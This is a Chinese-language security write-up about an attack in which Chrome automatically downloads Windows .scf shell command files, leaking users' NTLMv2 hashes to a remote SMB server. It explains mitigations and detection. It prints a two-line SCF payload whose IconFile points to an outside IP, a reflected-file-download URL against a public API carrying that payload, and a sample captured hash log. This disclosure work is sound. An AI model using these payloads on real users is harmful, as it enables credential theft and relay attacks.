写在前面的话
利用Windows操作系统的SMB文件共享协议来窃取身份凭证的攻击技术长久以来都一直存在,这是一个难以避免的问题。虽然这种技术有多种实现方式,但大多都局限于本地网络内。在过去的十多年里,还没有人公开演示过针对浏览器(除了IE和Edge之外)的SMB认证攻击,但是在这篇文章中我们将介绍一种Windows凭证窃取攻击,这种技术会影响目前最流行的Web浏览器-ChromeChrome(默认配置下),以及支持该浏览器的所有Windows版本。
问题描述
在默认配置下,Chrome浏览器会自动下载它认为安全的文件,而且不会提示用户选择文件的存储位置(使用的是预设地址)。从安全的角度来看,这个功能是存在问题的,但如果恶意文件想要运行的话,还是需要用户手动点击“打开/运行”按钮才可以。不过,如果下载下来的文件不需要用户交互就能够执行恶意操作的话,那又该怎么办呢?真的有哪一类文件可以做到这一点吗?
Windows资源管理器Shell命令文件(.scf文件)是一种鲜为人知的文件类型,可以追溯到Windows98。可能只有Windows98/Me/NT/2000/XP用户可能遇到过这种文件,当时它主要用来显示桌面快捷方式。它本质上是一种文本文件,其中有一部分可以确定一段需要运行的命令(仅限于运行资源管理器和切换桌面)和一个图标文件的位置。下面是一个SCF文件的内容示例:
[AppleScript] 纯文本查看 复制代码 [Shell]
Command=2
IconFile=explorer.exe,3
[Taskbar]
Command=ToggleDesktop
随着Windows快捷方式LNK文件的诞生,当文件显示在资源管理器中时,图标地址会进行自动解析。将图标地址指向一台远程SMB服务器已经是众所周知的攻击向量了,这种技术利用了Windows在访问远程文件服务时的自动化身份验证功能。但是从攻击的角度来看,LNK和SCF之间的区别在哪里呢?自从震网病毒出现之后,Chrome会强制将LNK文件的后缀名改为.download,但SCF文件并没有得到相同的待遇。
因此,我们可以利用一个仅含两行代码的SCF文件来欺骗Windows系统:
[AppleScript] 纯文本查看 复制代码 [Shell]
IconFile=\\170.170.170.170\icon
文件下载完成之后,当用户在Windows资源管理器中打开下载目录的那一瞬间,请求就会被触发,随后文件便会被删除。整个过程根本不需要用户点击或打开下载文件,因为Windows资源管理器会自动尝试获取“icon”(图标)内容。
攻击者所设置的远程SMB服务器随时准备着捕获目标用户的用户名以及NTLMv2密码哈希,他们可以将这些数据用于离线破解或伪造用户身份并访问在线服务(SMB中继攻击)。捕获到的信息大致如下:
[AppleScript] 纯文本查看 复制代码 [*] SMB Captured - 2017-05-15 13:10:44 +0200
NTLMv2 Response Captured from 173.203.29.182:62521 -173.203.29.182
USER:Bosko DOMAIN:Master OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:98daf39c3a253bbe4a289e7a746d4b24NT_CLIENT_CHALLENGE:01010000000000000e5f83e06fcdd201ccf26d91cd9e326e00000000020000000000000000000000
Bosko::Master:1122334455667788:98daf39c3a253bbe4a289e7a746d4b24:01010000000000000e5f83e06fcdd201ccf26d91cd9e326e0000000002000000000000000000000
上面这个例子泄漏了目标用户的用户名、所在域(Domain)、以及NTLMv2密码哈希。
需要注意的是,无论你的系统设置如何,SCF文件在Windows资源管理器中都不会显示其后缀名(.scf)。因此,类似picture.jpg.scf这样的文件名在Windows资源管理器中显示的就是picture.jpg。因此,这也使得利用SCF文件的攻击活动更加难以被发现了。
影响密码泄漏
对于企业和政府用户来说,密码泄漏将有可能导致内网提权和数据泄漏等风险出现。对于使用了微软账号(MSA)而非本地账号的Windows8/10的用户来说,密码泄漏将会影响用户所有的微软服务,例如OneDrive、Outlook.com、Office365、Office Online、Skype、以及Xbox Live等等。与此同时,密码重用等问题还会导致更多的账号发生泄漏。
从密码破解的可行性方面来说,近些年来,基于GPU的密码破解技术得到了巨大的发展。现在,一张Nvidia GTX 1080的计算能力约为1600MH/s,即每秒可计算16亿哈希值。对于一个长度为8个字符的密码,一台配备了四块GTX1080的密码破解机可以在不到一天时间里遍历整个密码空间(包括大小写字母+常用特殊字符(!@#$%&))。
SMB中继攻击
像Microsoft Exchange(或Outlook)这种允许远程访问的以及使用NTLM作为身份验证方法的服务将有可能受到SMB中继攻击,攻击者将能够伪装成受害者来访问用户的数据,而且还不用破解用户的密码。Jonathan Brossard在BlackHat黑客大会上已经向全世界演示过这种方法了,感兴趣的同学可以观看这个演示视频【传送门】。
在某些特殊情况下,攻击者甚至还可以在中继攻击的帮助下,利用窃取来的证书入侵目标网络,并获取内部网络的访问权。
针对SCF的反病毒产品
当浏览器无法提示这方面的安全风险时,我们只能指望其他的安全解决方案能够保护我们的安全了。于是我们对当前领先的安全解决方案进行了测试,以确定它们是否能够识别这类恶意下载文件。但不幸的是,所有测试产品都无法将这类文件标记为可疑对象。不过,想要识别出可疑的SCF文件其实也并不难,我们只要检查文件中的IconFile参数所指向的地址就可以了,所以我们希望厂商在将来能够增加这种检测机制。
反射文件下载(RFD)攻击
注:这种攻击技术最早是由OrenHafif发现的,感兴趣的同学可以参考这篇文章【参考资料】。
由于SCF格式比较简单,而我们的攻击只需要两行代码,而且可定制程度较高,因此它也非常适用于RFD攻击。
RFD通常针对的是RESTfulAPI节点,因为它们通常允许我们在URL路径中设置文件的扩展名。Chrome不会直接下载API响应内容类型,因此我们需要在“href=”属性中添加下载链接来强制浏览器完成下载。
我们以WorldBankAPI为例进行演示:
[AppleScript] 纯文本查看 复制代码 http://api.worldbank.org/v2/coun ... ourhash.scf?prefix=%0A[Shell]%0AIconFile=\\170.170.170.170\test%0Alol=%0B&format=jsonp
由于字符“%0B”无法打印出来,因此Chrome将会自动将响应内容下载并保存为iwantyourhash.scf文件。当保存这个文件的下载目录被打开之后,Windows将会尝试与远程SMB服务器进行身份验证,并暴露目标用户的认证哈希。
缓解方案
为了防止这种通过SCF文件所进行的NTLMv2凭证窃取攻击,我们可以通过下列方法禁用Chrome浏览器的自动下载功能:设置->显示高级设置->勾选“在下载之前询问保存文件路径”选项。
除此之外,我们也希望谷歌能够在将来的Chrome浏览器版本中解决这个问题。
|